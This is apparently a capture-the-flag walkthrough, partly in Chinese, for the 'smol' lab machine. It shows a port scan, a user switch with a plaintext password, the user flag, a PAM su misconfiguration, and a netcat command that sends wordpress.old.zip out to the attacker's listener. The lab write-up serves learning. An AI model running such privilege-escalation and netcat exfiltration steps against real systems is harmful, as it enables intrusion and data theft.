❯ ip=192.168.56.112 ❯ rustscan -a $ip |tee scan.txt .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports: The virtual equivalent of knocking on doors. [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.56.112:22 Open 192.168.56.112:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 14:46 CST Initiating Ping Scan at 14:46 Scanning 192.168.56.112 [4 ports] Completed Ping Scan at 14:46, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:46 Completed Parallel DNS resolution of 1 host. at 14:46, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:46 Scanning 192.168.56.112 [2 ports] Discovered open port 22/tcp on 192.168.56.112 Discovered open port 80/tcp on 192.168.56.112 Completed SYN Stealth Scan at 14:46, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.56.112 Host is up, received echo-reply ttl 63 (0.00056s latency). Scanned at 2024-12-11 14:46:29 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Started: Wed Dec 11 16:33:10 2024 Stopped: Wed Dec 11 16:37:51 2024
用户提权
su切换用户登入一下，拿到user的flag了
1 2 3 4 5 6 7 8 9 10 11
www-data@smol:/var/www/wordpress/wp-admin$ su diego su diego Password: sandiegocalifornia diego@smol:/var/www/wordpress/wp-admin$ cd ~ cd ~ diego@smol:~$ ls ls user.txt diego@smol:~$ cat us cat user.txt 45edaec653ff9ee06236b7ce72b86963
diego@smol:/home$ ls -al ls -al total 24 drwxr-xr-x 6 root root 4096 Aug 16 2023 . drwxr-xr-x 18 root root 4096 Mar 29 2024 .. drwxr-x--- 2 diego internal 4096 Aug 18 2023 diego drwxr-x--- 2 gege internal 4096 Aug 18 2023 gege drwxr-x--- 5 think internal 4096 Jan 12 2024 think drwxr-x--- 2 xavi internal 4096 Aug 18 2023 xavi diego@smol:/home$ id id uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal) diego@smol:/home$ ls -al * ls -al * diego: total 24 drwxr-x--- 2 diego internal 4096 Aug 18 2023 . drwxr-xr-x 6 root root 4096 Aug 16 2023 .. lrwxrwxrwx 1 root root 9 Aug 18 2023 .bash_history -> /dev/null -rw-r--r-- 1 diego diego 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 diego diego 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 diego diego 807 Feb 25 2020 .profile -rw-r--r-- 1 root root 33 Aug 16 2023 user.txt lrwxrwxrwx 1 root root 9 Aug 18 2023 .viminfo -> /dev/null
gege: total 31532 drwxr-x--- 2 gege internal 4096 Aug 18 2023 . drwxr-xr-x 6 root root 4096 Aug 16 2023 .. lrwxrwxrwx 1 root root 9 Aug 18 2023 .bash_history -> /dev/null -rw-r--r-- 1 gege gege 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 gege gege 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 gege gege 807 Feb 25 2020 .profile lrwxrwxrwx 1 root root 9 Aug 18 2023 .viminfo -> /dev/null -rwxr-x--- 1 root gege 32266546 Aug 16 2023 wordpress.old.zip
think: total 32 drwxr-x--- 5 think internal 4096 Jan 12 2024 . drwxr-xr-x 6 root root 4096 Aug 16 2023 .. lrwxrwxrwx 1 root root 9 Jun 21 2023 .bash_history -> /dev/null -rw-r--r-- 1 think think 220 Jun 2 2023 .bash_logout -rw-r--r-- 1 think think 3771 Jun 2 2023 .bashrc drwx------ 2 think think 4096 Jan 12 2024 .cache drwx------ 3 think think 4096 Aug 18 2023 .gnupg -rw-r--r-- 1 think think 807 Jun 2 2023 .profile drwxr-xr-x 2 think think 4096 Jun 21 2023 .ssh lrwxrwxrwx 1 root root 9 Aug 18 2023 .viminfo -> /dev/null
xavi: total 20 drwxr-x--- 2 xavi internal 4096 Aug 18 2023 . drwxr-xr-x 6 root root 4096 Aug 16 2023 .. lrwxrwxrwx 1 root root 9 Aug 18 2023 .bash_history -> /dev/null -rw-r--r-- 1 xavi xavi 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 xavi xavi 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 xavi xavi 807 Feb 25 2020 .profile lrwxrwxrwx 1 root root 9 Aug 18 2023 .viminfo -> /dev/null
think@smol:~$ cat /etc/pam.d/su # # The PAM configuration file for the Shadow `su' service #
# This allows root to su without passwords (normal operation) auth sufficient pam_rootok.so auth [success=ignore default=1] pam_succeed_if.so user = gege auth sufficient pam_succeed_if.so use_uid user = think
配置是可以不用密码就切换到gege用户的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
think@smol:~$ su gege gege@smol:/home/think$ cd ~ gege@smol:~$ ls wordpress.old.zip gege@smol:~$ nc 192.168.56.102 4444 <wordpress.old.zip ———————————————————————————————————————————— ┌──(kali㉿kali)-[~] └─$ rlwrap nc -lvnp 4444>wordpress.old.zip listening on [any] 4444 ... connect to [192.168.56.102] from (UNKNOWN) [192.168.56.112] 54622 ┌──(kali㉿kali)-[~] └─$ file wordpress.old.zip wordpress.old.zip: Zip archive data, at least v1.0 to extract, compression method=store
